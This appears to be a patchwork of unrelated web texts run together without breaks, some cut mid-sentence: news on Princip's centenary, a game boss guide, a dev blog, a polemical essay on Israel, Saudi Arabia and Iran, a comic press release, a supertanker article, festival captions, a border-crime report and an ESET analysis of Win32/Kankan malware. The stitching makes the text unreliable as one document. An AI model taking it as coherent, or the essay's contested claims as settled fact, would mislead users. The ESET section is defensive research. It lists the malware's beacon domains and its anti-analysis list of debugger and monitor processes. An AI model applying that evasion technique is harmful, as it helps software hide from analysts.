“The eyes of the world will be focused on Sarajevo once more and it is important that we send messages completely different from the messages of war sent in 1914 and 1992,” he said.
RIVAL EVENTS
Such comparisons have riled Serbs in Bosnia and neighboring Serbia, for whom Princip is a pan-Slavic hero, the shot he fired marking the death knell for centuries of foreign occupation over Serbs, Croats and Bosniaks alike.
This was the official narrative for decades in socialist Yugoslavia, when Princip was venerated as a freedom fighter for all the nations and faiths gathered together by Joseph Broz Tito.
Schools and roads took the assassin’s name. His footprints were enshrined in the pavement at the spot from which he fired.
In his native mountain region of Bosansko Grahovo, a plaque erected in 1949 still stands above the doors to the local school, hailing Princip’s “fearless” fight for the “national freedom of our peoples”.
Today, the plaque is blackened, licked by the flames that razed the school in 1995 as Yugoslavia crumbled.
Sarajevo, now inhabited largely by Bosniaks, plans to mark the centenary of the assassination with a series of cultural events sponsored in large part by France and also with the help of Austria and possibly the European Union.
It will take place at a sensitive time in international relations, with Western nations accusing Serb big power backer Russia of preparing to annex Crimea from Ukraine and Moscow arguing it is defending Russians from Western stooges in Kiev.
Organizers of the Sarajevo commemoration, who are hoping to get funding from the EU, say it will steer clear of the issue of whether Princip was terrorist or hero.
The centerpiece will be a concert of the Vienna Philharmonic in the city’s much-loved Vijecnica, Sarajevo’s city hall-turned-National Library that burned down at the start of the 43-month Bosnian Serb siege of the city. The concert will mark its reopening.
On June 27, French philosopher Bernard Henri-Levy, who supported the Bosniak call for Western intervention to halt the war in Bosnia, will premiere his latest play in Sarajevo, which deals specifically with the 1992-95 conflict.
Bosnia’s autonomous Serb Republic has refused to participate, except in a leg of the Tour de France cycling race in the capital on June 20-23.
Instead, the Serbs plan their own ceremony in Visegrad, a town made famous by Ivo Andric’s 1945 novel ‘Bridge on the Drina’, and infamous by Serb paramilitaries who tossed their victims from the Ottoman bridge in 1992 as the first waves of the war washed through eastern Bosnia.
“WE BUILD AND WE DESTROY”
The Serb events will be choreographed by filmmaker Emir Kusturica, a Sarajevan born into a Bosniak family but who later took on the Serbian Orthodox faith, who plans to stage an opera about the assasination and show a documentary about Princip.
Authorities in Serb-controlled East Sarajevo say plans are in the pipeline for a statue of the assassin.
“We once all lived in one state (Yugoslavia), and we never looked on it as any kind of terrorist act, as some historians try to present it today,” said Nenad Samardzija, the Serb mayor of East Sarajevo.
“We looked on it as a movement of young people who wanted to liberate themselves from colonial slavery.”
The contradictions are inevitable, said sociology professor Slavo Kukic.
“Through no fault of his own, Gavrilo Princip is the result of all those political conflicts and differences on the territory of the former Yugoslavia... over the past quarter of a century,” he said. “We’ve had many Gavrilo Princips in our recent past.”
The demands of each side in Bosnia have changed little since its war - while the Bosniaks want a more centralised, unified state, the Croats say they need their own entity like the Serbs.
Serb leaders, meanwhile, look east to Serbia, saying they have little need for Bosnia at all, much as pro-Moscow forces now in Crimea are looking to Russia and rejecting Ukraine.
The political system put in place in Bosnia by a U.S.-brokered peace deal in 1995 divvied up power along ethnic lines, fuelling corruption, stifling development and triggering unrest last month unprecedented since the war.
The historian Katz, her office unheated since the war because the state History Institute can’t afford the bills, said all the centenary plans were inappropriate given the far more pressing economic and political problems facing Bosnia.
“It’s like putting on makeup when you haven’t even had a bath,” she said.
Princip’s house is one of hundreds of gutted homes scarring the bleak plateau, untouched since they were sacked by Croat forces on the heels of fleeing Serbs at the end of the Bosnian war. The Sarajevo footprints have gone.
Spared the death sentence because he was not yet 20, Princip died of tuberculosis in his jail cell in 1918.
Slideshow (13 Images)
The turbulent century that he set in chain scattered his relatives around the globe. But one who was given his name, Gavrilo, still resides in East Sarajevo, where he runs a hotel.
Serbs who fled Princip’s native region are collecting money to rebuild the family home in time for the centenary. The house was razed three times, during the two world wars and again in 1995. They’re wasting their time, said Gavrilo.
“It will be burned down and destroyed again,” he said. “We build and then we destroy. That’s how things are in Bosnia.”General Vezax in the Ulduar trailer.
General Vezax is the twelfth boss encounter in Ulduar. He can be found in the Descent into Madness guarding the Prison of Yogg-Saron. Mana-based classes will have to deal with a lock on their regen, but will be able to restore it by destroying crystals that drop a residue on the floor. The Elite mode requires players not to break any of these crystals and not regen any mana.
Vezax is a "memory" in the fight against Argent Confessor Paletress in the Trial of the Champion encounter of the Crusaders' Coliseum.
Adventure Guide
Strange creatures known as faceless ones lurk in the depths of Ulduar. One of their mightiest commanders, General Vezax, guards the twisted passages leading to the Prison of Yogg-saron.[1]
Overview
General Vezax inflicts all healers with Aura of Despair, removing all mana regeneration. Mana can be restored by utilizing the Saronite Vapors that coalesce on the ground in the area.
Damage Dealers
Interrupt Searing Flames to avoid heavy damage.
to avoid heavy damage. Avoid damaging allies while afflicted with Mark of the Faceless.
Healers
Avoid damaging allies while afflicted with Mark of the Faceless.
. Use Saronite Vapors to regenerate Mana.
Tanks
Flee when Vezax gains Surge of Darkness to avoid heavy damage.
Abilities
Aura of Despair — Prevents mana regeneration from nearly all natural sources. Reduces melee attack speed by 20%.
Shadow Crash — Fires a missile towards a random target. When this missile lands, it deals 11310 to 12690 Shadow damage to all enemies within 10 yards of that location. — Fires a missile towards a random target. When this missile lands, it deals 11310 to 12690 Shadow damage to all enemies within 10 yards of that location. Shadow Crash — Fires a shadow missile at a target, dealing 11310 to 12690 Shadow damage to all enemies near the impact point and knocking them away. After impact, leaves an energy field that lingers for 20 sec, increasing magical damage dealt by 10%, increasing casting speed by 10%, reducing healing done by 75%, and reducing mana costs by 70%. — Fires a shadow missile at a target, dealing 11310 to 12690 Shadow damage to all enemies near the impact point and knocking them away. After impact, leaves an energy field that lingers for 20 sec, increasing magical damage dealt by 10%, increasing casting speed by 10%, reducing healing done by 75%, and reducing mana costs by 70%.
Mark of the Faceless — Inflicts an ancient malediction on a target, siphoning 5000 health every 1 sec. from enemies near the target, for 10 sec.
Searing Flames — Deals 13875 to 16125 Fire damage to all enemies, superheating their armor and reducing its ability to protect them by 75% for 10 sec.
Surge of Darkness — Empowers the caster with dark might, increasing physical damage by 100% but reducing movement speed by 55%, for 10 sec.
Saronite Vapors
Saronite Vapors periodically coalesce in the area.
Saronite Vapors — Converts life force into pure mana energy.
Hard Mode
Six Saronite Vapors will coalesce into a Saronite Animus and General Vezax will gain Saronite Barrier.
Saronite Barrier — Creates a saronite barrier, reducing all damage taken by 99%. — Creates a saronite barrier, reducing all damage taken by 99%.
Saronite Animus Profound Darkness — Inflicts 750 damage to all enemies, and increases Shadow damage taken by 10% per application. — Inflicts 750 damage to all enemies, and increases Shadow damage taken by 10% per application.
Strategy
Before pulling, assign casters in circle around General Vezax at a fair distance of each other in order to avoid spreading the Mark of the Faceless and too many (unreactive) people being hit by a Shadow Crash.
When the tank pulls, all healers must come in melee range of the boss (< 15 yards), in order not be concerned by the Mark of the Faceless and to leave the greatest space to the casters.
Searing Flames must always be interupted when General Vezax starts casting it.
When General Vezax casts Surge of darkness, the tank can stay where he stands, since Vezax's damages are healable.
After every Surge of darkness, a melee or unoccupied ranged dps should go to kill the closest Saronite Vapor. All healers stand in until they have 6-7 debuffs, then step out. If that first regen is not enough, they can step in the vapor for another 6-7 debuffs (once the first 6-7 debuffs have ticked off).
If the next Saronite Vapor is not near the boss, the tank will have to move toward it. All the raid must proceed very carefully (healer and melee still in the 15 yards) and casters still spaced from one another.
Due to the use of the Energy Field left by a Shadow Crash, casters are less likely to have the need of a Saronite Vapor until the fourth or fifth Surge of darkness. When they will need it, while coming in melee range, they must be carefull not to be afflicted by a Mark of the Faceless. As long as DPS watch the aggro list, they can do damage continuously (the General is not tauntable, so overhauling the tank will usually result in the death of the careless DPS player and possibly the entire raid).
When a Shadow Crash heads toward a caster, he must move to avoid the AoE and then come back to stand in. In order to avoid spreading the Mark of the Faceless, only the caster targeted by a Shadow Crash should stand in it.
In order to save mana, casters would be advised to DPS only when they stand in the Energy Field left by a Shadow Crash. While this can be frustrating, this is the safer way to save the Saronite Vapors for the healers' need, besides the 10 minutes enrage allows to do it safely.
Also of note are Lifebloom and Power Word:Shield in conjunction with Shadow Crash puddles; since Power Word:Shield is an absorption effect, the absorbed amount is not reduced by Shadow Crash puddles but the mana cost is. Lifebloom's healing is reduced by the shadow crash puddles; however it is possible to regain mana when the stacks bloom if they were initially cast in a Shadow Crash puddle. It is worthwhile to note that Lifebloom blooms do restore less mana than usual to the casting druid.
Notes:
A Death Knight, whether tank or dps, is particularly useful in this fight since the [ Death Grip ] Saronite Vapor.
If you don't have at least four casters, some healers will have to stand beyond the 15 yards of the Mark of the Faceless, or else General Vezax will cast it on the melee dps or the tank.
Elite mode
To successfully perform this elite mode, players must fight Vezax for long enough without using six Saronite Vapors that spawn, defeat the Saronite Animus that spawns, and then kill Vezax. To help somewhat with mana regen, a raid can stock up on [Fel Mana Potion], or alternatively [Dark Rune]. Ranged DPS will have to spare their mana for when they are on a shadow crash puddle to maximize the damage they can get with it. Aim towards getting General Vezax's health as low as possible without actually killing him. (Below 8,000,000 is doable). With higher levels of gear, it's entirely possible to kill Vezax BEFORE the Animus spawns - if this happens, the group will not be awarded achievements, and no elite mode loot will drop.
The animus spawns at Vezax's starting position and must be picked up immediately by the offtank and kept in place so that melee does not have to move when switching targets at all. It will spam profound darkness every two seconds and melees for just about as much as Vezax without the periodic enrage) All DPS must switch to the Animus and kill it as quickly as possible. If the raid takes too long, Profound Darkness will eventually outdamage any possible healing and wipe the raid. Shadow Crashes will one-shot anybody that gets hit by them so do not lose focus. Since the fight has been patched, Vezax no longer casts searing flames while the animus is up. Vezax will regain some health from Mark of the Faceless, so one player has to reapply a healing debuff onto him to minimize it such as an Arms Warrior with [Mortal Strike] or a Combat Rogue with [Wound Poison] on their main hand. (Wound Poison does proc on a [Kick])
After the animus is dead, the stacks will still be applied and all that is left to be done is finish the home stretch of Vezax's health. Keep in mind that the Profound Darkness debuff is still applied and Shadow Crashes will kill anybody that does not avoid them. The hard part of the achievement is done so long as nobody in the raid does something foolish to cause a wipe.
Drops
Related achievements
The following achievements are for the encounter's elite mode.
Quotes
Aggro Your destruction will herald a new age of suffering!
Hard Mode activated Behold, now! Terror, absolute!
Surge of Darkness The black blood of Yogg-Saron courses through me! I. AM. UNSTOPPABLE!
Killing a player
You thought to stand before the legions of death... and survive?
Defiance... a flaw of mortality.
Berserk Your defeat was inevitable!
Death Oh, what horrors await....
Sound Files
See Sound Files of Ulduar: General Vezax
Videos
10-man encounter
10-man Elite mode encounter
25-man encounter
25-man Elite mode encounter
Trivia
Patches and hotfixesHey Folks! Hope everyone had a good weekend. Mine was actually pretty busy, unfortunately. More snow shovelling on the endless driveway, and catching up on chores we skipped last week while out of town. Exhausting! But hey, I suppose I got a bit of exercise.
Today, I resumed work on the encounter branch I started last week. And I think I've got it just about done. First draft, anyway. I have most of the text nodes written, and branching options mapped out. I even have a few of the item packs and conditions setup (e.g. lists of available items/options at each stage, and conditions applied to track variables). I'll need to finish those later.
I started work on a new branch today, and immediately noticed that certain sections of it are probably similar to the first. I may need to weave this new branch in and out of the original one where appropriate (to avoid redundant nodes), but there's definitely a point where it goes in a different direction. Also, the first branch will have one definite way to lead into the second one, so that needs sorting out, too.
Besides the above, I had a chance to catch up on some tech support threads in the various forums. And thanks to those reports, I was able to find and fix a bug with the TAB key in encounters/battle. I also changed DMC guards to always start with fresh equipment, due to some feedback I read. And finally, I lowered degrade rates a bit for all types of arrows.
I'm kinda liking this rhythm of a few bugs and a few encounter nodes each day. Good way to balance work!
Anyway, that's all for today. Have a good night, all!
PS: If you're reading this around 6pm Pacific time, you might be able to catch CrimsonBrotus's live Twitch stream of NEO Scavenger. I, unfortunately, have to duck out for some errands, but I did manage to catch her surviving Zom Zom's for the first time. Good luck out there, Crimson!The Inevitable Collapse of Israeli-Saudi-American Alliance Against Iran and Resistance
By Miko Peled
December 04, 2017 " Information Clearing House " - From the earliest years of the Zionist project, the leaders of the movement - which then morphed into the State of Israel - understood that regional coalitions were crucial to its success. But Israel is a settler colonial project and therefor it was and still is very much hated by people in the region. Israel and its leaders invested in creating and promoting corrupt unprincipled despots to lead in the countries around it, men who would control the Arab world by keeping its people poor, uneducated and without representation and would pose no threat to Israel and its policies of genocide and ethnic cleansing perpetuated against the people of Palestine. Israel has had some degree of success in this, especially with the reactionary monarchies. Countries who had leaders that resisted Israel ended up paying a heavy price. These were states like Syria, Iraq, Yemen and Libya which are now destroyed and so it can come as no surprise that the new Saudi Crown Prince is bending over backwards to please Israel by referring to Iran’s supreme leader as "the new Hitler of the Middle East,” and is even preparing to take his regime’s relations with Israel to a new level, some say he even intends to establish diplomatic ties with Israel.
It is ironic that some of the greatest perpetrators and supporters of terrorism are those who talk of fighting terrorism. The latest unholy alliance between the US, Israel, Saudi Arabia and Egypt is a source of unspeakable terror which without fail is inflicted on innocent civilians but guarantees Israeli interests will be safe. The new boss calling the shots from Riyadh, Mohammad Bin Salman is for now at the center of this unholy alliance which in the short term will satisfy his hunger for power and influence but is sure to fail and in the meantime, will surely produce more misery in Yemen, Palestine, Lebanon and God only knows where else. But state terrorism like that perpetuated by Israeli military against Palestinians and the Saudis in Yemen is heralded by the weapons suppliers in the US and the UK as heroic while the people who fight for their rights are inevitably forgotten and left to die.
Two issues that have been brought to the forefront by the unholy alliance are Iran and its fictional threat to world peace and stability and its mythical support for terrorism. Iran which has invaded no one and attacked no one but supports Hezbollah and Hamas in their resistance against Israel is the favorite enemy in Tel-Aviv, Washington, DC and Riyadh. The new Saudi boss wants to consolidate regional power and he thinks he can do so by aligning with Israel and the US in order to weaken Iran. What he may not realize is that Iran is not a threat and cannot be threatened. While the Saudi monarchy gets its legitimacy from oil and money and from Israel and the US who supply it with weapons, Iranian legitimacy stems from its people, its long history and extraordinary culture. As for weakening Iranian influence in the region by weakening Hezbollah and Syria, that has been a colossal failure. Hezbollah is strong and well respected and is seen as the guarantee for stability in Lebanon. Furthermore, having been struck by Hezbollah might twice, Israel will not dare challenge it. And in Syria regardless of what one may think of the regime, it has clearly maintained the upper hand as a result of the support of Iran and Hezbollah.
What Israel wants however is legitimacy. It wants to continue the genocide of the Palestinian people uninterrupted, it wants to demonstrate to the world that it won on all fronts and it wants the US embassy to move to Jerusalem once and for all. And while Israel is being allowed to destroy Palestine and kill its people, the Jerusalem issue is a more complicated one and can only happen if ambitious yet ignorant and careless people are in power. And so it happens that at this moment in time there is precisely such a combination in place. With the new Saudi Crown Prince, Donald Trump and Benjamin Netanyahu, let the games begin. But interrupting the status quo regarding Jerusalem is so dangerous and has such destructive potential that even King Abdullah of Jordan, who himself owes his power to Israel and the US is warning the US to avoid meddling with it. Jerusalem has been a Muslim city with a minority of other religions living in it. It was only the sheer brutality of the Israeli military and the ethnic cleansing campaign Israel has put in place that has somewhat changed the nature of the city. But no recognition was ever given to the Zionist conquest of Jerusalem and hard as they try, it will never be seen as legitimate. Although for seven decades Israel has maintained that Jerusalem is its capital, the rest of the world was not able to swallow this breach of international law and common sense. And even today after seven decades of destruction the city of Jerusalem still maintains its Muslim heritage and is considered to be an icon of Islam peppered with symbols of other religions which reside within it. If Mohamad Bin Salman, Trump and Netanyahu attempt to change this, it will surely hasten the collapse of their unholy alliance but it is also sure to bring a great deal of misery and violence.
In the meantime, the three musketeers have a plan for the Palestinians. They are to give up their dignity, forgo their rights and swallow an indignation designed especially for them. With their land stolen, rights taken away, water denied and existence ignored at best and mostly destroyed, the Palestinian people should accept a small fraction of Palestine designated as Area A of what used to be the West Bank and the Gaza Strip as a Palestinian state. But what if they do not accept this indignation? The US is threatening to close down the PLO mission in Washington DC. The mission is not an embassy and in many ways its existence is in and of itself an indignation which the Palestinian Authority seems to be willing to swallow. Palestinians will be no worse off if it is closed and as was said by my friend Issa Amro, co-founder and leader of Youth Against Settlements in Hebron, recently, there are enough Palestinians in the US to represent the Palestinian voice proudly and truthfully until such time that a real ambassador of an actual Palestinian government presents credentials to the president of the United States.
Mohammad Bin Salman summoning the Lebanese Prime Minister Hariri and attempting to force him to discredit Hezbollah - a legitimate and stabilizing part of the Lebanese government - and the summoning of Mahmoud Abbas from Ramallah and ordering him to accept the new peace deal, is nothing more than a show of muscle by a new and inexperienced player. Even the praise Thomas Friedman heaped on him in the New York Times, where Friedman rather foolishly wrote that, “The most significant reform process underway anywhere in the Middle East today is in Saudi Arabia,” can't hide the fact that over reaching and that he is too young and inexperienced to understand the Middle East. Having failed miserably in Yemen, Syria and Iraq, Saudi Arabia lost massive ground to the Iranians and he hopes that Trump and Netanyahu will come to his aid. But he is relying on some very weak allies: The very legitimacy of Netanyahu and the entire Zionist project are now being brought to question and Trump will be fortunate if he is able to see the end of his first term as president without being forced to resign. One hopes that with the inevitable collapse of this alliance a new one will rise, one that will support a free Palestine and a peaceful Middle East.
Miko Peled is a writer and human rights activist. He is an international speaker and the author of “ The General’s Son, Journey of an Israeli in Palestine ”. https://mikopeled.com/
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Abbas warns world leaders over Trump's recognition of Jerusalem
Jordan, Palestinians urge emergency meetings ahead of Trump's expected Jerusalem decision
UN votes 151-6 against Israel, an ‘occupying power’ with no rights to Jerusalem
Secret documents reveal Mubarak’s plan to resettle Palestinians in Egypt
Note regarding commentsPress Release
"This January, the Superior Spider-Man reaches his landmark 25th issue – but will it be his last?! From all-star creators Dan Slott, Christos Gage, and Humberto Ramos comes the shocking conclusion of Darkest Hours! For years, the symbiote has tried to return to its original host – and now it finally has! Peter Parker was strong enough to overcome the symbiote’s dark grasp – but is Otto Octavius? The Superior Spider-Man is no more. There is only…the Superior Venom!!
“The creative team of Slott, Gage, Ramos, Olazaba, and Delgado has been knocking each and every one of these issues out of the park with their particular brand of action and humanity that you really can’t find anywhere else,” says Editor Ellie Pyle. “But this issue has surprises we haven’t even hinted at!”
"It’s all been leading to this! As the Superior Venom battles the Avengers – the Goblin King’s final pieces fall into place. And seeds sown here bear bitter fruit in the upcoming Goblin Nation arc! Not everyone will make it to issue #26. You cannot afford to miss the utterly shocking SUPERIOR SPIDER-MAN #25!"
SUPERIOR SPIDER-MAN #25
Written by DAN SLOTT & CHRISTOS GAGE
Art & Cover by HUMBERTO RAMOS
Variant Cover by JG JONES
FOC 12/23/13, ON-SALE 01/15/14Seawise Giant, later Happy Giant, Jahre Viking, Knock Nevis, Oppama, and Mont, was a ULCC supertanker that was the longest ship ever, built by Sumitomo Heavy Industries in Yokosuka, Kanagawa, Japan. She possessed the greatest deadweight tonnage ever recorded. Fully loaded, her displacement was 657,019 tonnes (646,642 long tons; 724,239 short tons), the heaviest ship of any kind, and with a laden draft of 24.6 m (81 ft), she was incapable of navigating the English Channel, the Suez Canal or the Panama Canal. Overall, she is generally considered the largest ship ever built.[5][6] She was sunk during the Iran–Iraq War, but was later salvaged and restored to service.[7] She was last used as a floating storage and offloading unit (FSO) moored off the coast of Qatar in the Persian Gulf at the Al Shaheen Oil Field.[8]
The vessel was sold to Indian ship breakers, and renamed Mont for its final journey in December 2009. After clearing Indian customs she sailed to Alang, Gujarat, where she was beached for scrapping.[8][9]
History [ edit ]
Seawise Giant was ordered in 1974 and delivered in 1979 by Sumitomo Heavy Industries, Ltd. at its Oppama shipyard in Yokosuka, Kanagawa, Japan, as a 418,611 ton ULCC.[10] The vessel remained unnamed for a long time, and was identified by its hull number, 1016. During sea trials, 1016 exhibited massive vibration problems while going astern. The Greek owner refused to take delivery and the vessel was subject to a lengthy arbitration proceeding. Following settlement the vessel was sold and christened Oppama by S.H.I.[5]
The shipyard exercised its right to sell the vessel and a deal was brokered with Hong Kong Orient Overseas Container Line founder C. Y. Tung to lengthen the ship by several metres and add 146,152 tonnes of cargo capacity through jumboisation. Two years later it was relaunched as Seawise Giant.[5][11] "Seawise", a pun on "C.Y.'s", was used in the names of other ships owned by C.Y. Tung, including Seawise University.[12]
After the refit, the ship had a capacity of 564,763 |
and 10 more messages” and “… and 10+ more messages” for everything beyond that.
I did the module that returns the image bitstring as a supervised GenServer for a simple reason: I do not want to load the image file from disc every time it is requested. Instead I wanted to have it already available in memory at the time of request.
This is state. Hence GenServer.
The GenServer loads all the files into a Map on initialisation and serves it from there on request. What’s quite nice about a supervised GenServer is that when it crashes for some reason it automatically loads all the image data into memory again on restart of the GenServer. This init on restart is out-of-the-box default behaviour of Elixir’s supervision and comes in very handy for this particular use case.
We are constantly tweaking this mechanism to give our users the best non-annoying-but-stay-up-to-date notification experience. Any thoughts and ideas on the technology and methodology are welcome. Now go and plan your next big thing (with JayPads of course ;-)The largest traditional animal sacrifice in the world began last weekend in southern Nepal with an estimated 4,000 buffalo, goats, and pigeons slaughtered on Friday alone.
The two-day festival, called Gadhimai Mela Festival, takes place at the Gadhimai temple about 100 miles south of Kathmandu.
The festival is held every five years, during which hundreds of thousands of animals are killed in the name of the Hindu goddess of power. Devotees believe the ritual will bring them good luck.
In 2009, an estimated 350,000 animals were killed. Close to 500,000 animals were expected to be sacrificed this year, despite campaigns to ban the festival.
Sacrificed buffaloes lie on the ground of an enclosed compound during the sacrificial ceremony November 28, 2014. Navesh Chitrakar/Reuters
Millions of Hindus from all over India and Nepal participate in the festival to honor the Goddess Gadhimai, a Hindu deity who devotees believe will grant them wishes if they sacrifice animals and birds. Devotees gather during the ritual before the sacrificial ceremony, November 28, 2014. Navesh Chitrakar/Reuters
The Sword-wielding Hindu devotees began slaughtering the animals on Friday, ignoring calls by animal rights activists to put an end to the world's largest animal sacrifice ritual. Navesh Chitrakar/Reuters
In past years, nearly 70% of the animals entering Nepal to be slaughtered came from India. That figure has dropped since India's Supreme Court banned the illegal entry of animals to Nepal, especially for the Gadhimai Mela. A man sits in a tractor to load the sacrificed buffalos a day after the sacrificial ceremony, November 29, 2014. Navesh Chitrakar/Reuters
The festival is partially funded by the government of Nepal as the fair brings in tourists and money. Temple authorities also charge entry and parking fees. A street vendor makes sweets along the street to sell them to devotees, November 29, 2014. Navesh Chitrakar/Reuters
Animals are coralled into holding pens in a large field before having their throats slit or their heads chopped off.
A sick buffalo calf lies in an enclosure on the eve of the sacrificial ceremony November 27, 2014. Reuters
"It is very festive here, everyone is excited," Mangal Chaudhary, the head priest at the slaughter site near a temple devoted to Gadhimai, told AlJazeera. A family poses for a picture in front of the carcasses of sacrificed buffalos, November 29, 2014. Navesh Chitrakar/Reuters
After the buffalo are killed, their heads are thrown into a freshly dug large pit in the field, and their hides are sold to the highest-bidding contractors. A man removes the tongue from the head of a sacrificed buffalo the day after the sacrificial ceremony, November 29, 2014. Navesh Chitrakar/Reuters
Activists have petitioned Nepal's president to end this "cruel tradition" that began about 260 years ago. Still, the animal sacrifice ritual draws over 2 million Hindus to the festival site and remains an important religious holiday.....................................................................................................................................................................................
Copyright © 2016 Albuquerque Journal
The story goes like this:
A ranch hand working in New Mexico’s Bootheel stumbles upon men and two or three vehicles stranded in remote cattle country. They turn out to be drug runners from Mexico who take him hostage, load his vehicle with narcotics and force him to drive to Willcox, Ariz., where they leave him alive but warn him not to go to the police.
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They would be watching.
That alleged incident and a host of recent break-ins have ranchers across Hidalgo County and in southeastern Arizona outraged about what they say is a decline in border security. The cattle growers associations of both states are hosting a meeting this week in the tiny town of Animas to air their grievances to elected officials – including pleas for more boots on the ground – and they expect to draw a crowd.
The Bootheel’s rugged terrain of ridges and arroyos, sparse roads and sprawling desert has historically presented challenges for law enforcement charged with keeping the region safe, particularly from illegal traffic coming from Mexico. It’s a corridor favored by traffickers moving dope north to the drug-hungry U.S. market.
The ranch hand was working for Elbrock Water Systems on the Gray Ranch on Dec. 7 when he was allegedly hijacked by drug runners, according to Tricia Elbrock, who co-owns the Animas-based company that provides well and septic services from Tucson to El Paso.
The Elbrocks, their employees and law enforcement searched for him all night before he called from Willcox before noon the next day, she said.
“They kidnapped him, tied him up, threw all our tools out and fittings and loaded our company vehicle with all the drugs,” Elbrock said. “They waited till dark to leave the ranch. They needed him to help guide them through to the highway.”
On the phone, Elbrock gasped back a sob as she said: “This is still pretty raw. We got him back safe. They did rough him up, but we got him back. It’s a mess. I don’t know what to tell you. We have got to have help down here.”
The FBI confirmed that it is investigating the alleged kidnapping, referred to the bureau by Border Patrol. FBI spokesman Frank Fisher in Albuquerque said no arrests have been made but declined to comment further, citing the pending investigation.
The day their employee returned to Animas, Elbrock said, she, her husband, Edward, and the employee were questioned by State Police, Immigration and Customs Enforcement and the FBI.
“The folks down there have never gotten any relief from illegal crossings,” said Caren Cowan, executive director of the Albuquerque-based New Mexico Cattle Growers’ Association. “And things have ramped up. These people are desperate. They are absolutely desperate. We have had countless meetings with government agencies over the years, and I say this with all due respect, all we hear about is what they are trying to do and nothing gets done.”
“The main reason for this meeting is this incident,” said Meira Gault, whose 20,000-acre ranch lies just north of the U.S.-Mexico border in Hidalgo County. “People feel they aren’t protected. Everyone is scared.”
Border Patrol reported apprehending 11,000 unauthorized border crossers in fiscal 2015 and seizing more than 15,000 pounds of marijuana. A spokesman said the agency could not break down apprehensions or drug seizures in the Bootheel specifically.
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The Border Patrol’s Lordsburg station has been understaffed in recent months, down about 50 agents in a location that is budgeted for 284 agents. But there are agents in the pipeline. A spokesman said the agency has candidates at its training academy that will be assigned to the Bootheel.
Organizers say they have invited elected officials to the meeting. Republican U.S. Rep. Steve Pearce, whose southern New Mexico district includes Hidalgo County, is scheduled to be there, according to a spokeswoman.
“The vandalism and the trespass issues have increased,” said Erica Valdez, who ranches more than 40,000 acres between Animas and Lordsburg, about 35 miles north of the border.
The same night of the reported kidnapping, Border Patrol tracked and apprehended two alleged drug runners after a 3 a.m. pursuit in the Animas Valley that involved eight agents working in vehicles, manning a night-vision camera, trekking on foot and riding ATVs, according to a criminal complaint against the two Mexican nationals charged with possession of marijuana with intent to distribute.
The bed of their vehicle was allegedly loaded with 2,774 pounds of pot.
The complaint filed by the U.S. attorney in New Mexico makes no mention of a kidnapping. But it does say that just before that pursuit took place, a different “suspicious vehicle” with its rear lights extinguished “possibly went off road to avoid detection” in the same area.
“The border is not secure,” Valdez said. “It doesn’t matter how tall of a wall you put up, they are going to tunnel under it, they are going to torch through it. If they want to come across, they will. The only way they are going to stop it is with boots on the ground at the border. We would like to see more agents.”In this blog post, we will describe software detected by ESET products as Win32/Kankan, and explain why its discovery shocked many Chinese users, then we will provide an in-depth analysis of its functionalities – and discuss the evidence that Xunlei Networking Technologies is implicated.
In this blog post, we will describe a piece of software – detected by ESET products as Win32/Kankan – that recently attracted our attention because:
It registers an Office plugin with no Office functionalities, which serves solely as a way to obtain persistence on the system,
It silently installs mobile applications to Android phones connected to the computer via USB debugging,
It has been signed by a well-known Chinese company called Xunlei Networking Technologies, which is particularly noted for developing the most widely-used torrent client in the world.
We are going to first introduce the context around this program, and explain in particular why its discovery shocked many Chinese users, then we will provide an in-depth analysis of its functionalities and finally we will discuss the evidence that Xunlei Networking Technologies is implicated.
Context
The story related in this article started last June when several complaints appeared on various Chinese forums about a suspicious program signed by the Chinese company Xunlei Networking Technologies. The news then spread rapidly and ended up in the headlines of many Chinese websites.
To understand such media interest, we first have to set the context, which is very likely unknown to most of our non-Chinese readers. Xunlei Networking Technologies’s main activity is the development of Xunlei, a piece of software whose purpose is to accelerate the download of various types of files (videos, pdfs, executables,…) – pretty much like Orbit Downloader –, and which is extremely popular in China.
To explain this popularity, it is worth mentioning how the tool works. Roughly summarized, Xunlei maintains a list of locations for each known file and whenever a user starts a download using its browser or torrent client, it chooses the best possible locations to maximize the download speed. To implement this process, Xunlei Networking Technologies has developed a complex software ecosystem, including a search engine for the shared files, a multi-protocol torrent client, and even a custom peer-to-peer protocol. For interested readers, an extensive study of the Xunlei network has been written by Dhungel et al. in 2012 and can be found here.
As previously mentioned, the program is extremely popular among Chinese people. A study published in 2009 by TorrentFreak even positioned Xunlei as the most used torrent client in the world, with more than 100 million peer IDs, while uTorrent peaks at 92 million peer IDs. On the other hand, the tool is almost unused outside China, which is unsurprising since there is no English translation of the official website, while the textual content of the tool itself has been translated only by amateurs. We can thus speculate that this China-only deployment is a deliberate strategy on the part of the company.
Analysis
This background story explains the consternation among Chinese users when some of them found a suspect piece of software on their computer signed by Xunlei Networking Technologies. The certificate in question is shown below.
When we describe the program, you’ll see why it was considered suspicious.
Dropper
The program comes as a Windows installer, usually named INPEnhSetup.exe, and based on the Nullsoft Scriptable Install System. Simply put, this means that the installer is an archive associated with an installation script. In this case the installer begins by contacting the hard-coded domain kkyouxi.stat.kankan.com to report the initiation of the installation. Then, it drops three different files onto the system: INPEn.dll, INPEnhUD.exe and INPEnhSvc.exe. Afterwards, the library INPEn.dll is loaded into memory and its DllRegisterServer function is called. Finally, the installer re-contacts the domain kkyouxi.stat.kankan.com to report the completion of its execution.
Office Plugin
INPEn.dll starts by installing a copy of itself, named INPEnh.dll this time, as a plugin for Word, Excel and PowerPoint named InputEnhance. In order to do this, it creates Windows registry keys that will make Office applications use the INPEnh.dll library as a plugin (more details can be found here). Some of these registry keys can be seen in the graphic below.
We can observe that the LoadBehavior key is set to 3, which means the plugin will be loaded at each application startup. Interestingly, this is the only way this piece of software gains persistence on the system: every time Word, Excel or PowerPoint is launched, the library is loaded in memory as a plugin. Nevertheless, its presence is invisible to the user. More than that, it silently executes the following steps:
Fetch the file conf.kklm.n0808.com/tools.ini, of which an extract can be seen below.
This file contains various parameters, for example a base64 encoded list of security analysis tools and an URL describing a StatServer, which is again kkyouxi.stat.kankan.com at the time of writing.
Check whether one of the previously mentioned binary analysis tools is running: if so the Office plugin promptly stops executing. The current decoded list is shown below.
taskmgr.exe|procexp.exe|procmon.exe|devenv.exe|windbg.exe|filemon.exe|
ollyice.exe|ollydbg.exe|processspy.exe|spyxx.exe|cv.exe|wireshark.exe
It is worth mentioning that this list only contains analysis tools – and no security products – like the Windows task manager, OllyDebugger, and even a Wi-Fi network management tool. Hence the program is intended to avoid security analyst machines.
Check if an Internet connection is active by contacting some common Chinese domain names, such as baidu.com and qq.com. When there is no Internet connection, it goes into a code loop that regularly checks whether a connection has been established.
